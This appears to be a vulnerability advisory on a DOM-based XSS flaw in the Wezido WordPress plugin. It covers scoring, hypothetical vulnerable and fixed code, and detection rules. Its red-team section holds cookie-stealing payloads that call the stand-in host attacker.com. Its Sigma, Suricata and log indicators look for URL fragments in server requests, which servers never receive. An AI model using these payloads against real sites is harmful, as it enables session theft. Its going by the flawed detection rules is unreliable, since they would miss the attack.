CVE-2024-51836

Executive Summary

CVE-2024-51836 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Wezido WordPress plugin (wezido-elementor-addon-based-on-easy-digital-downloads) by Teconce, affecting versions up to and including 1.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. As a WordPress plugin vulnerability, this issue is confined to the WordPress ecosystem and does not implicate server software like Apache or Nginx.

The CVSS v3.1 score is 6.5 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch makes this a persistent risk. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the WordPress plugin repository or third-party sources. As a PHP-based plugin, it is not part of the NPM, PyPI, Go, or Ruby ecosystems. However, users should verify the integrity of their plugin files and monitor for updates from the vendor or WordPress.org.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases the risk for unmaintained sites.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the injection occurs client-side via JavaScript that processes user input from sources like document.location, document.URL, or document.referrer. In the Wezido plugin, input is improperly sanitized before being written to the DOM, allowing an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL containing a payload in a query parameter or fragment (e.g., ?q=<script>alert(1)</script>).
2. The victim clicks the link, which loads a page using the Wezido plugin.
3. The plugin's JavaScript reads the input from the URL and writes it to the DOM without sanitization.
4. The injected script executes in the victim's browser, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the user.

Root Cause: The plugin uses functions like innerHTML or document.write with unsanitized data from location.hash or location.search.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (JavaScript):

// Vulnerable: Directly writes user input to DOM
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

Patched Code (JavaScript):

// Patched: Uses textContent to prevent HTML injection
var userInput = window.location.hash.substring(1);
document.getElementById('output').textContent = userInput;

Alternative Patched Code (with sanitization):

// Patched: Sanitizes input using DOMPurify
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Wezido plugin version <= 1.2.
• A victim user with browser access.

Exploitation Steps:

1. Identify a page using the Wezido plugin that reflects URL parameters.
2. Craft a malicious URL:

   http://target-site.com/wezido-page/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the link to the victim via phishing email or social engineering.
4. When the victim clicks the link, the script executes and exfiltrates cookies.

Example Payload:

<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests containing suspicious patterns in the URL fragment (e.g., <script, onerror, javascript:).
2. Use browser-based security headers like Content-Security-Policy (CSP) to block inline scripts.
3. Implement input validation and output encoding in all plugin code.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Simulate attacks using Burp Suite or OWASP ZAP.
• Monitor with browser developer tools and network logs.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing #<script, #<img, #<svg, or other HTML tags in the fragment.
• Network Traffic: Outbound connections to unknown domains from the victim's browser.
• Log Entries: GET /wezido-page/#<script>...</script> in access logs.
• File Hashes: Plugin files with MD5 hash UNKNOWN (no known malicious versions).

Detection Engineering

YARA Rule

rule CVE_2024_51836_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS in Wezido plugin"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-51836"
    strings:
        $s1 = "innerHTML" nocase
        $s2 = "location.hash" nocase
        $s3 = "document.write" nocase
        $s4 = "wezido" nocase
    condition:
        all of ($s1, $s2, $s4) or all of ($s3, $s2, $s4)
}

Sigma Rule

title: CVE-2024-51836 DOM-Based XSS in Wezido Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-based XSS attempts targeting Wezido plugin
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
            - '#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51836 DOM-Based XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"wezido"; http_uri; pcre:"/#<(script|img|svg|iframe)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for business operations.
2. Apply a Web Application Firewall (WAF) rule to block requests containing <script or javascript: in URL fragments.
3. Implement Content-Security-Policy (CSP) header to restrict script execution:

   Content-Security-Policy: script-src 'self'; object-src 'none';
   

Long-Term Fix:

• Contact the vendor (Teconce) for a patched version.
• If no patch is forthcoming, consider replacing the plugin with an alternative.
• For developers, sanitize all user input using libraries like DOMPurify and avoid using innerHTML with untrusted data.

Workaround:

• Use a reverse proxy to strip or sanitize URL fragments before they reach the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert